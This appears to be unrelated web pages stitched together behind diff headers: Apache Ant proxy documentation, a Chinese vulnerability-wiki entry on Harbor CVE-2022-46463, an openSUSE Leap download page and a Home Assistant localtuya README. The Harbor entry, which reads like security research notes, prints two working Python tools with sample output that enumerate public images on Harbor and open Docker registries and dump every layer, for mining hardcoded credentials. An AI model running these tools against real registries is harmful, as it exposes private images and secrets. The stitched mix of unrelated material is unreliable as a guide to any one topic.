The [setproxy task](https://ant.apache.org/manual/Tasks/setproxy.html) can be used to explicitly set a proxy in a build file. This manipulates the many proxy configuration properties of a JVM, and controls the proxy settings for all network operations in the same JVM from that moment.
If you have a build file that is only to be used in-house, behind a firewall, on an older JVM, *and you cannot change Ant's JVM proxy settings*, then this is your best option. It is ugly and brittle, because the build file now contains system configuration information. It is also hard to get this right across the many possible proxy options of different users (none, HTTP, SOCKS).
Note that proxy configurations set with this task will probably override any set by other mechanisms. It can also be used with fancy tricks to only set a proxy if the proxy is considered reachable:
<target name="probe-proxy" depends="init">
<condition property="proxy.enabled">
<and>
<isset property="proxy.host"/>
<isreachable host="${proxy.host}"/>
</and>
</condition>
</target>
<target name="proxy" depends="probe-proxy" if="proxy.enabled">
<property name="proxy.port" value="80"/>
<property name="proxy.user" value=""/>
<property name="proxy.pass" value=""/>
<setproxy proxyhost="${proxy.host}" proxyport="${proxy.port}"
proxyuser="${proxy.user}" proxypassword="${proxy.pass}"/>
</target>
### Custom ProxySelector implementations
As Java lets developers write their own ProxySelector implementations, it is theoretically possible for someone to write their own proxy selector class that uses different policies to determine proxy settings. There is no explicit support for this in Ant, and it has not, to the team's knowledge, been attempted.
This could be the most flexible of solutions, as one could easily imagine an Ant-specific proxy selector that was driven off ant properties, rather than system properties. Developers could set proxy options in their custom build.properties files, and have this propagate.
One issue here is with concurrency: the default proxy selector is per-JVM, not per-thread, and so the proxy settings will apply to all sockets opened on all threads; we also have the problem of how to propagate options from one build to the JVM-wide selector.
### Configuring the Proxy settings of Java programs under Ant
Any program that is executed with `<java>` without setting fork\=true will pick up the Ant's settings. If you need different values, set fork\=false and provide the values in `<sysproperty>` elements.
If you wish to have a forked process pick up the Ant's settings, use the [`<syspropertyset>`](https://ant.apache.org/manual/Types/propertyset.html) element to propagate the normal proxy settings. The following propertyset is a datatype which can be referenced in a `<java>` task to pass down the current values.
<propertyset id="proxy.properties">
<propertyref prefix="java.net.useSystemProxies"/>
<propertyref prefix="http."/>
<propertyref prefix="https."/>
<propertyref prefix="ftp."/>
<propertyref prefix="socksProxy"/>
</propertyset>
### Summary and conclusions
There are four ways to set up proxies in Ant.
1. With Ant 1.7 and Java 5+ using the \-autoproxy parameter.
2. Via JVM system properties—set these in the `ANT_ARGS` environment variable.
3. Via the `<setproxy>` task.
4. Custom ProxySelector implementations
Proxy settings are automatically shared with Java programs started under Ant *that are not forked*; to pass proxy settings down to subsidiary programs, use a propertyset.
Over time, we expect the Java 5+ proxy features to stabilize, and for Java code to adapt to them. However, given the fact that it currently does break some builds, it will be some time before Ant enables the automatic proxy feature by default. Until then, you have to enable the \-autoproxy option or use one of the alternate mechanisms to configure the JVM.
#### Further reading
- [Java Networking Properties](https://docs.oracle.com/javase/8/docs/technotes/guides/net/properties.html).
@@ -0,0 +1,384 @@
---
page-title: "Vulnerability-Wiki/docs-base/docs/webapp/Harbor-公开镜像仓库未授权访问-CVE-2022-46463.md at master · Threekiii/Vulnerability-Wiki · GitHub"
url: https://github.com/Threekiii/Vulnerability-Wiki/blob/master/docs-base/docs/webapp/Harbor-%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE-CVE-2022-46463.md
date: "2024-12-17 15:07:10"
---
> 目仓库”中的“公开”,取消勾选
---
## Harbor 公开镜像仓库未授权访问 CVE-2022-46463
[](https://github.com/Threekiii/Vulnerability-Wiki/blob/master/docs-base/docs/webapp/Harbor-%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE-CVE-2022-46463.md#harbor-%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE-cve-2022-46463)
## 漏洞描述
[](https://github.com/Threekiii/Vulnerability-Wiki/blob/master/docs-base/docs/webapp/Harbor-%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE-CVE-2022-46463.md#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0)
Harbor 是为企业用户设计的容器镜像仓库开源项目,包括了权限管理 (RBAC)、LDAP、审计、安全漏洞扫描、镜像验真、管理界面、自我注册、HA 等企业必需的功能。Harbor api search 允许未认证的用户搜索仓库内存在的公开仓库,若将私有业务镜像放置于公开仓库,可能存在信息泄漏风险。
此漏洞披露时为未授权漏洞,漏洞影响存在争议。实际上该漏洞是由于安全配置不当,允许任意用户通过 `/api/search?q=` 接口搜索到所有公开仓库,下载公开仓库中的镜像(而非直接访问私有仓库)。但如果将私有业务镜像放置于公开仓库,可能存在信息泄漏风险,利用场景:
1. 下载包含敏感环境的公开镜像;
2. 分析镜像,发现服务启动时进行了 jar 文件拷贝操作;
3. 提取 jar 文件,反编译获取配置文件中硬编码的账号密码。
参考链接:
- [https://mp.weixin.qq.com/s/pBkJW1\_Vpf\_suH50e8K9kg](https://mp.weixin.qq.com/s/pBkJW1_Vpf_suH50e8K9kg)
- [https://mp.weixin.qq.com/s/V8Ecqq\_DPOQhH5q9UBWkXg](https://mp.weixin.qq.com/s/V8Ecqq_DPOQhH5q9UBWkXg)
- [https://github.com/404tk/CVE-2022-46463](https://github.com/404tk/CVE-2022-46463)
## 漏洞复现
[](https://github.com/Threekiii/Vulnerability-Wiki/blob/master/docs-base/docs/webapp/Harbor-%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE-CVE-2022-46463.md#%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0)
获取 harbor 信息:
```
GET /api/systeminfo HTTP/1.1 # harbor 1.x
GET /api/v2.0/systeminfo HTTP/1.1 # harbor 2.x
```
[![](https://github.com/Threekiii/Vulnerability-Wiki/raw/Awesome-POC/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/images/Harbor%20%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%20CVE-2022-46463/image-20240603114233720.png)](https://github.com/Threekiii/Vulnerability-Wiki/blob/Awesome-POC/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/images/Harbor%20%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%20CVE-2022-46463/image-20240603114233720.png)
获取全部 images 和 projects
```
GET /api/search?q=/ HTTP/1.1
GET /api/v2.0/search?q=/ HTTP/1.1
```
[![](https://github.com/Threekiii/Vulnerability-Wiki/raw/Awesome-POC/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/images/Harbor%20%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%20CVE-2022-46463/image-20240603114414964.png)](https://github.com/Threekiii/Vulnerability-Wiki/blob/Awesome-POC/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/images/Harbor%20%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%20CVE-2022-46463/image-20240603114414964.png)
获取 images 的 version
```
GET /api/repositories/<PROJECT_NAME>/<IMAGE_NAME>/tags?detail=1 HTTP/1.1
GET /api/v2.0/projects/<PROJECT_NAME>/repositories/<IMAGE_NAME>/artifacts?with_tag=true HTTP/1.1
```
[![](https://github.com/Threekiii/Vulnerability-Wiki/raw/Awesome-POC/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/images/Harbor%20%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%20CVE-2022-46463/image-20240603115023802.png)](https://github.com/Threekiii/Vulnerability-Wiki/blob/Awesome-POC/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/images/Harbor%20%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%20CVE-2022-46463/image-20240603115023802.png)
扩展场景:
1. 通过 [404tk/CVE-2022-46463](https://github.com/404tk/CVE-2022-46463) 枚举公开镜像并 dump
2. 分析镜像,发现服务启动时进行了 jar 文件拷贝操作;
3. 提取 jar 文件,反编译获取配置文件中硬编码的账号密码。
[![](https://github.com/Threekiii/Vulnerability-Wiki/raw/Awesome-POC/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/images/Harbor%20%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%20CVE-2022-46463/image-20240603120457032.png)](https://github.com/Threekiii/Vulnerability-Wiki/blob/Awesome-POC/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/images/Harbor%20%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%20CVE-2022-46463/image-20240603120457032.png)
[![](https://github.com/Threekiii/Vulnerability-Wiki/raw/Awesome-POC/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/images/Harbor%20%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%20CVE-2022-46463/image-20240603120254668.png)](https://github.com/Threekiii/Vulnerability-Wiki/blob/Awesome-POC/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/images/Harbor%20%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%20CVE-2022-46463/image-20240603120254668.png)
## 漏洞 POC
[](https://github.com/Threekiii/Vulnerability-Wiki/blob/master/docs-base/docs/webapp/Harbor-%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE-CVE-2022-46463.md#%E6%BC%8F%E6%B4%9E-poc)
$ python3 harbor.py https://192.168.11.11
\[+\] grafana/grafana
\[+\] library/openjdk
$ python3 harbor.py https://192.168.11.11 --dump library/openjdk:8
\[+\] Dumping library/openjdk:8
\[+\] Downloading : 001c52e26ad57e3b25b439ee0052f6692e5c0f2d5d982a00a8819ace5e521452
\[+\] Downloading : d9d4b9b6e964657da49910b495173d6c4f0d9bc47b3b44273cf82fd32723d165
\[+\] Downloading : 2068746827ec1b043b571e4788693eab7e9b2a95301176512791f8c317a2816a
\[+\] Downloading : 9daef329d35093868ef75ac8b7c6eb407fa53abbcb3a264c218c2ec7bca716e6
\[+\] Downloading : d85151f15b6683b98f21c3827ac545188b1849efb14a1049710ebc4692de3dd5
\[+\] Downloading : 52a8c426d30b691c4f7e8c4b438901ddeb82ff80d4540d5bbd49986376d85cc9
\[+\] Downloading : 8754a66e005039a091c5ad0319f055be393c7123717b1f6fee8647c338ff3ceb
$ python3 harbor.py https://192.168.11.11 --dump\_all
\[+\] grafana/grafana
\[+\] library/openjdk
\[+\] Dumping grafana/grafana:latest
\[+\] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
\[+\] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
\[+\] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
\[+\] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
\[+\] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
\[+\] Dumping library/openjdk:8
\[+\] Downloading : 001c52e26ad57e3b25b439ee0052f6692e5c0f2d5d982a00a8819ace5e521452
\[+\] Downloading : d9d4b9b6e964657da49910b495173d6c4f0d9bc47b3b44273cf82fd32723d165
\[+\] Downloading : 2068746827ec1b043b571e4788693eab7e9b2a95301176512791f8c317a2816a
\[+\] Downloading : 9daef329d35093868ef75ac8b7c6eb407fa53abbcb3a264c218c2ec7bca716e6
\[+\] Downloading : d85151f15b6683b98f21c3827ac545188b1849efb14a1049710ebc4692de3dd5
\[+\] Downloading : 52a8c426d30b691c4f7e8c4b438901ddeb82ff80d4540d5bbd49986376d85cc9
\[+\] Downloading : 8754a66e005039a091c5ad0319f055be393c7123717b1f6fee8647c338ff3ceb
harbor.py
\# -\*- coding:utf-8 -\*-
import os
import tarfile
import argparse
import requests
requests.packages.urllib3.disable\_warnings()
CACHE\_PATH \= "./caches/"
TIMEOUT \= 5
def manageArgs():
parser \= argparse.ArgumentParser()
parser.add\_argument("url", help\="URL")
parser.add\_argument("--v2", dest\='v2', default\=False, help\="API v2.0", action\="store\_true")
action \= parser.add\_mutually\_exclusive\_group()
action.add\_argument("--dump", metavar\="IMAGENAME", dest\='dump', type\=str, help\="ImageName")
action.add\_argument("--tags", dest\='tags', default\=False, help\="list tags", action\="store\_true")
action.add\_argument("--dump\_all", dest\='dump\_all', help\="dump all", action\="store\_true")
args \= parser.parse\_args()
return args
def createDir(directoryName):
if "../" in directoryName:
print("\[-\] Hacker!")
return
if not os.path.exists(f"{CACHE\_PATH}{directoryName}"):
os.makedirs(f"{CACHE\_PATH}{directoryName}")
class HarborUnauth():
def getImages(self):
url \= "%s/api/search?q=" % self.target
url\_v2 \= "%s/api/v2.0/search?q=/" % self.target
try:
req\=requests.get(url,timeout\=TIMEOUT,verify\=False)
if req.status\_code != 200:
self.v2 \= True
print("\[\*\] API version used v2.0")
req\=requests.get(url\_v2,timeout\=TIMEOUT,verify\=False)
repos \= req.json()\["repository"\]
images \= \[\]
for repo in repos:
print("\[+\]",repo\["repository\_name"\])
if self.list\_tags:
self.getTags(repo\["repository\_name"\])
images.append(repo\["repository\_name"\])
return images
except Exception as e:
print("\[-\] Not vulnerability.")
return None
def getTags(self,image\_name):
results \= \[\]
url \= "%s/api/repositories/%s/tags?detail=1"%(self.target,image\_name)
if self.v2:
info \= image\_name.split("/")
if len(info) != 2:
print("\[-\] Image name format error.")
return results
url \= "%s/api/v2.0/projects/%s/repositories/%s/artifacts?with\_tag=true"%(self.target,info\[0\],info\[1\])
try:
req \= requests.get(url,timeout\=TIMEOUT,verify\=False)
tags \= req.json()
for tag in tags:
if "name" in tag.keys():
tag\_name \= tag\["name"\]
elif tag\["tags"\] \== None:
tag\_name \= tag\["digest"\].split(":")\[1\]\[:6\]
else:
tag\_name \= tag\["tags"\]\[0\]\["name"\]
if self.list\_tags:
print(f" \[\*\] {image\_name}:{tag\_name}")
results.append({"image":image\_name,"tag":tag\_name,"sha256":tag\["digest"\]})
if self.list\_tags:
print()
except Exception as e:
print("\[-\] Get tags failed, maybe you should specify the --v2 argument.")
return results
def getToken(self,image\_name):
url \= f"{self.target}/service/token?scope=repository%3A{image\_name}%3Apull&service=harbor-registry"
try:
req\=requests.get(url,timeout\=TIMEOUT,verify\=False)
auth\=req.json()\["token"\]
return auth
except Exception as e:
return ""
def getBlob(self,image\_name,version,digest,header):
url \= "%s/v2/%s/manifests/%s" % (self.target,image\_name,digest)
try:
req\=requests.get(url,headers\=header,timeout\=TIMEOUT,verify\=False)
layers \= req.json()\["layers"\]
createDir(image\_name.replace("/","\_")+"/"+version.replace(".","\_"))
for l in layers:
self.downloadSha(image\_name,version,l\["digest"\],header)
except Exception as e:
print("\[-\]",str(e))
def downloadSha(self,image\_name,version,sha256,header):
dir \= image\_name.replace("/","\_")+"/"+version.replace(".","\_")
name \= sha256.split(":")\[1\]
filenamesha \= f"{CACHE\_PATH}{dir}/{name}.tar.gz"
url \= f"{self.target}/v2/{image\_name}/blobs/{sha256}"
try:
req\=requests.get(url,headers\=header,timeout\=TIMEOUT,verify\=False)
if req.status\_code \== 200:
print(f" \[+\] Downloading : {name}")
with open(filenamesha, 'wb') as out:
for bits in req.iter\_content():
out.write(bits)
tf \= tarfile.open(filenamesha)
tf.extractall(f"{CACHE\_PATH}{dir}/{name}")
os.remove(filenamesha)
else:
print(" \[-\] Download fail:",req.status\_code)
except Exception as e:
print(e)
def check(self,args):
self.target \= args.url.strip().strip("/")
self.v2 \= args.v2
self.list\_tags \= args.tags
images \= \[\]
if args.dump:
images.append(args.dump)
else:
images \= self.getImages()
if images != None and len(images)\==0:
print("\[-\] 0 public images found.")
return
if not args.dump\_all:
return
for image in images:
auth \= self.getToken(image)
if auth \== "":
print("\[-\] Get token failed.")
return
header \= {"Authorization": "Bearer "+auth}
tags \= self.getTags(image)
for tag in tags:
print("\[+\] Dumping : %s:%s"%(tag\["image"\],tag\["tag"\]))
self.getBlob(tag\["image"\],tag\["tag"\],tag\["sha256"\],header)
if \_\_name\_\_ \== "\_\_main\_\_":
args \= manageArgs()
m \= HarborUnauth()
m.check(args)
registry.pyDocker Registry API dump
\# -\*- coding:utf-8 -\*-
import os
import tarfile
import argparse
import requests
requests.packages.urllib3.disable\_warnings()
CACHE\_PATH \= "./caches/"
TIMEOUT \= 5
def manageArgs():
parser \= argparse.ArgumentParser()
parser.add\_argument("url", help\="URL")
action \= parser.add\_mutually\_exclusive\_group()
action.add\_argument("--dump", metavar\="IMAGENAME", dest\='dump', type\=str, help\="ImageName")
action.add\_argument("--tags", dest\='tags', default\=False, help\="list tags", action\="store\_true")
action.add\_argument("--dump\_all", dest\='dump\_all', help\="dump all", action\="store\_true")
args \= parser.parse\_args()
return args
def createDir(directoryName):
if "../" in directoryName:
print("\[-\] Hacker!")
return
if not os.path.exists(f"{CACHE\_PATH}{directoryName}"):
os.makedirs(f"{CACHE\_PATH}{directoryName}")
class RegistryUnauth():
def getImages(self):
url \= "%s/v2/\_catalog" % self.target
try:
req\=requests.get(url,timeout\=TIMEOUT,verify\=False)
repos \= req.json()\["repositories"\]
images \= \[\]
for repo in repos:
print("\[+\]",repo)
if self.list\_tags:
self.getTags(repo)
images.append(repo)
return images
except Exception as e:
print("\[-\] Not vulnerability.")
return None
def getTags(self,image\_name):
results \= \[\]
url \= "%s/v2/%s/tags/list"%(self.target,image\_name)
try:
req \= requests.get(url,timeout\=TIMEOUT,verify\=False)
tags \= req.json()\["tags"\]
for tag in tags:
if self.list\_tags:
print(f" \[\*\] {image\_name}:{tag}")
results.append({"image":image\_name,"tag":tag})
if self.list\_tags:
print()
except Exception as e:
print("\[-\] Get tags failed,", str(e))
return results
def getBlob(self,image\_name,tag):
url \= "%s/v2/%s/manifests/%s" % (self.target,image\_name,tag)
try:
req\=requests.get(url,timeout\=TIMEOUT,verify\=False)
layers \= req.json()\["fsLayers"\]
createDir(image\_name.replace("/","\_")+"/"+tag.replace(".","\_"))
for l in layers:
self.downloadSha(image\_name,tag,l\["blobSum"\])
except Exception as e:
print("\[-\]",str(e))
def downloadSha(self,image\_name,version,sha256):
dir \= image\_name.replace("/","\_")+"/"+version.replace(".","\_")
name \= sha256.split(":")\[1\]
filenamesha \= f"{CACHE\_PATH}{dir}/{name}.tar.gz"
url \= f"{self.target}/v2/{image\_name}/blobs/{sha256}"
try:
req\=requests.get(url,timeout\=TIMEOUT,verify\=False)
if req.status\_code \== 200:
print(f" \[+\] Downloading : {name}")
with open(filenamesha, 'wb') as out:
for bits in req.iter\_content():
out.write(bits)
tf \= tarfile.open(filenamesha)
tf.extractall(f"{CACHE\_PATH}{dir}/{name}")
os.remove(filenamesha)
else:
print(" \[-\] Download fail:",req.status\_code)
except Exception as e:
print(e)
def check(self,args):
self.target \= args.url.strip().strip("/")
self.list\_tags \= args.tags
images \= \[\]
if args.dump:
images.append(args.dump)
else:
images \= self.getImages()
if images != None and len(images)\==0:
print("\[-\] 0 public images found.")
return
if not args.dump\_all:
return
for image in images:
tags \= self.getTags(image)
for tag in tags:
print("\[+\] Dumping : %s:%s"%(tag\["image"\],tag\["tag"\]))
self.getBlob(tag\["image"\],tag\["tag"\])
if \_\_name\_\_ \== "\_\_main\_\_":
args \= manageArgs()
m \= RegistryUnauth()
m.check(args)
## 漏洞修复
[](https://github.com/Threekiii/Vulnerability-Wiki/blob/master/docs-base/docs/webapp/Harbor-%E5%85%AC%E5%BC%80%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE-CVE-2022-46463.md#%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D)
1. 限制公开访问,进入“项目设置”→“配置管理”→“项目仓库”中的“公开”,取消勾选。
2. 在业务允许的前提下,将系统部署在内网,减少外部暴露面。
@@ -0,0 +1,71 @@
---
page-title: "openSUSE Leap 15.6 - Get openSUSE"
url: https://get.opensuse.org/leap/15.6/?type=server#download
date: "2024-12-11 17:37:35"
---
Leap 16.0 preAlpha is now available for download and testing [Learn More](https://get.opensuse.org/leap/16.0/)
image/svg+xml
## openSUSE Leap 15.6
- [Overview](https://get.opensuse.org/leap/15.6/?type=server#overview)
- [Download](https://get.opensuse.org/leap/15.6/?type=server#download)
## A brand new way of building openSUSE and a new type of a hybrid Linux distribution
Leap uses source from SUSE Linux Enterprise (SLE), which gives Leap a level of stability unmatched by other Linux distributions, and combines that with community developments to give users, developers and sysadmins the best stable Linux experience available.
[Download](https://get.opensuse.org/leap/15.6/?type=server#download)
A Leap 15.6 release live stream
##### Intel or AMD 64-bit desktops, laptops, and servers (x86\_64)
###### Offline Image (4.3 GiB)
###### Network Image (261.0 MiB)
##### UEFI Arm 64-bit servers, desktops, laptops and boards (aarch64)
###### Offline Image (4.4 GiB)
###### Network Image (290.5 MiB)
##### PowerPC servers, little-endian (ppc64le)
###### Offline Image (3.9 GiB)
###### Network Image (243.2 MiB)
##### IBM zSystems and LinuxONE (s390x)
###### Offline Image (2.4 GiB)
###### Network Image (153.5 MiB)
### Choosing Which Media to Download
The Offline Image is typically recommended as it contains most of the packages available in the distribution and does not require a network connection during the installation.
The Network Image is recommended for users who have limited bandwidth on their internet connections, as it will only download the packages they choose to install, which is likely to be significantly less than 4.7GB.
### System Requirements
- 2 Ghz dual core processor or better
- 2GB physical RAM + additional memory for your workload
- Over 40GB of free hard drive space
- Either a DVD drive or USB port for the installation media
- Internet access is helpful, and required for the Network Installer
## Verify Your Download Before Use
Many applications can verify the checksum of a download. To verify your download can be important as it verifies you really have got the ISO file you wanted to download and not some broken version.
For each ISO, we offer a checksum file with the corresponding SHA256 sum, and a signature file with a cryptographic signature.
To ensure integrity of the downloaded file you can use sha256sum to verify the checksum, and gpgv to verify the cryptographic signature.
It should be [**AD48 5664 E901 B867 051A B15F 35A2 F86E 29B7 00A4**](https://download.opensuse.org/tumbleweed/repo/oss/gpg-pubkey-29b700a4-62b07e22.asc)
For more help verifying your download please read [Checksums Help](https://en.opensuse.org/SDB:Download_help#Checksums)
@@ -0,0 +1,242 @@
---
page-title: "rospogrigio/localtuya: local handling for Tuya devices"
url: https://github.com/rospogrigio/localtuya
date: "2024-12-16 11:00:50"
---
[![logo](https://github.com/rospogrigio/localtuya-homeassistant/raw/master/img/logo-small.png)](https://github.com/rospogrigio/localtuya-homeassistant/blob/master/img/logo-small.png)
A Home Assistant custom Integration for local handling of Tuya-based devices.
This custom integration updates device status via pushing updates instead of polling, so status updates are fast (even when manually operated). The integration also supports the Tuya IoT Cloud APIs, for the retrieval of info and of the local\_keys of the devices.
**NOTE: The Cloud API account configuration is not mandatory (LocalTuya can work also without it) but is strongly suggested for easy retrieval (and auto-update after re-pairing a device) of local\_keys. Cloud API calls are performed only at startup, and when a local\_key update is needed.**
The following Tuya device types are currently supported:
- Switches
- Lights
- Covers
- Fans
- Climates
- Vacuums
Energy monitoring (voltage, current, watts, etc.) is supported for compatible devices.
> **Currently, Tuya protocols from 3.1 to 3.4 are supported.**
This repository's development began as code from [@NameLessJedi](https://github.com/NameLessJedi), [@mileperhour](https://github.com/mileperhour) and [@TradeFace](https://github.com/TradeFace). Their code was then deeply refactored to provide proper integration with Home Assistant environment, adding config flow and other features. Refer to the "Thanks to" section below.
## Installation:
[](https://github.com/rospogrigio/localtuya#installation)
The easiest way, if you are using [HACS](https://hacs.xyz/), is to install LocalTuya through HACS.
For manual installation, copy the localtuya folder and all of its contents into your Home Assistant's custom\_components folder. This folder is usually inside your `/config` folder. If you are running Hass.io, use SAMBA to copy the folder over. If you are running Home Assistant Supervised, the custom\_components folder might be located at `/usr/share/hassio/homeassistant`. You may need to create the `custom_components` folder and then copy the localtuya folder and all of its contents into it.
## Usage:
[](https://github.com/rospogrigio/localtuya#usage)
**NOTE: You must have your Tuya device's Key and ID in order to use LocalTuya. The easiest way is to configure the Cloud API account in the integration. If you choose not to do it, there are several ways to obtain the local\_keys depending on your environment and the devices you own. A good place to start getting info is [https://github.com/codetheweb/tuyapi/blob/master/docs/SETUP.md](https://github.com/codetheweb/tuyapi/blob/master/docs/SETUP.md) or [https://pypi.org/project/tinytuya/](https://pypi.org/project/tinytuya/).**
**NOTE 2: If you plan to integrate these devices on a network that has internet and blocking their internet access, you must also block DNS requests (to the local DNS server, e.g. 192.168.1.1). If you only block outbound internet, then the device will sit in a zombie state; it will refuse / not respond to any connections with the localkey. Therefore, you must first connect the devices with an active internet connection, grab each device localkey, and implement the block.**
## Adding the Integration
[](https://github.com/rospogrigio/localtuya#adding-the-integration)
**NOTE: starting from v4.0.0, configuration using YAML files is no longer supported. The integration can only be configured using the config flow.**
To start configuring the integration, just press the "+ADD INTEGRATION" button in the Settings - Integrations page, and select LocalTuya from the drop-down menu. The Cloud API configuration page will appear, requesting to input your Tuya IoT Platform account credentials:
[![cloud_setup](https://github.com/rospogrigio/localtuya-homeassistant/raw/master/img/9-cloud_setup.png)](https://github.com/rospogrigio/localtuya-homeassistant/blob/master/img/9-cloud_setup.png)
To setup a Tuya IoT Platform account and setup a project in it, refer to the instructions for the official Tuya integration: [https://www.home-assistant.io/integrations/tuya/](https://www.home-assistant.io/integrations/tuya/) The place to find the Client ID and Secret is described in this link (in the ["Get Authorization Key"](https://www.home-assistant.io/integrations/tuya/#get-authorization-key) paragraph), while the User ID can be found in the "Link Tuya App Account" subtab within the Cloud project:
[![user_id.png](https://github.com/rospogrigio/localtuya-homeassistant/raw/master/img/8-user_id.png)](https://github.com/rospogrigio/localtuya-homeassistant/blob/master/img/8-user_id.png)
> **Note: as stated in the above link, if you already have an account and an IoT project, make sure that it was created after May 25, 2021 (due to changes introduced in the cloud for Tuya 2.0). Otherwise, you need to create a new project. See the following screenshot for where to check your project creation date:**
[![project_date](https://github.com/rospogrigio/localtuya-homeassistant/raw/master/img/6-project_date.png)](https://github.com/rospogrigio/localtuya-homeassistant/blob/master/img/6-project_date.png)
After pressing the Submit button, the first setup is complete and the Integration will be added.
> **Note: it is not mandatory to input the Cloud API credentials: you can choose to tick the "Do not configure a Cloud API account" button, and the Integration will be added anyway.**
After the Integration has been set up, devices can be added and configured pressing the Configure button in the Integrations page:
[![integration_configure](https://github.com/rospogrigio/localtuya-homeassistant/raw/master/img/10-integration_configure.png)](https://github.com/rospogrigio/localtuya-homeassistant/blob/master/img/10-integration_configure.png)
## Integration Configuration menu
[](https://github.com/rospogrigio/localtuya#integration-configuration-menu)
The configuration menu is the following:
[![config_menu](https://github.com/rospogrigio/localtuya-homeassistant/raw/master/img/11-config_menu.png)](https://github.com/rospogrigio/localtuya-homeassistant/blob/master/img/11-config_menu.png)
From this menu, you can select the "Reconfigure Cloud API account" to edit your Tuya Cloud credentials and settings, in case they have changed or if the integration was migrated from v.3.x.x versions.
You can then proceed Adding or Editing your Tuya devices.
## Adding/editing a device
[](https://github.com/rospogrigio/localtuya#addingediting-a-device)
If you select to "Add or Edit a device", a drop-down menu will appear containing the list of detected devices (using auto-discovery if adding was selected, or the list of already configured devices if editing was selected): you can select one of these, or manually input all the parameters selecting the "..." option.
> **Note: The tuya app on your device must be closed for the following steps to work reliably.**
[![discovery](https://github.com/rospogrigio/localtuya-homeassistant/raw/master/img/1-discovery.png)](https://github.com/rospogrigio/localtuya-homeassistant/blob/master/img/1-discovery.png)
If you have selected one entry, you only need to input the device's Friendly Name and localKey. These values will be automatically retrieved if you have configured your Cloud API account, otherwise you will need to input them manually.
Setting the scan interval is optional, it is only needed if energy/power values are not updating frequently enough by default. Values less than 10 seconds may cause stability issues.
Setting the 'Manual DPS To Add' is optional, it is only needed if the device doesn't advertise the DPS correctly until the entity has been properly initiailised. This setting can often be avoided by first connecting/initialising the device with the Tuya App, then closing the app and then adding the device in the integration. **Note: Any DPS added using this option will have a -1 value during setup.**
Setting the 'DPIDs to send in RESET command' is optional. It is used when a device doesn't respond to any Tuya commands after a power cycle, but can be connected to (zombie state). This scenario mostly occurs when the device is blocked from accessing the internet. The DPids will vary between devices, but typically "18,19,20" is used. If the wrong entries are added here, then the device may not come out of the zombie state. Typically only sensor DPIDs entered here.
Once you press "Submit", the connection is tested to check that everything works.
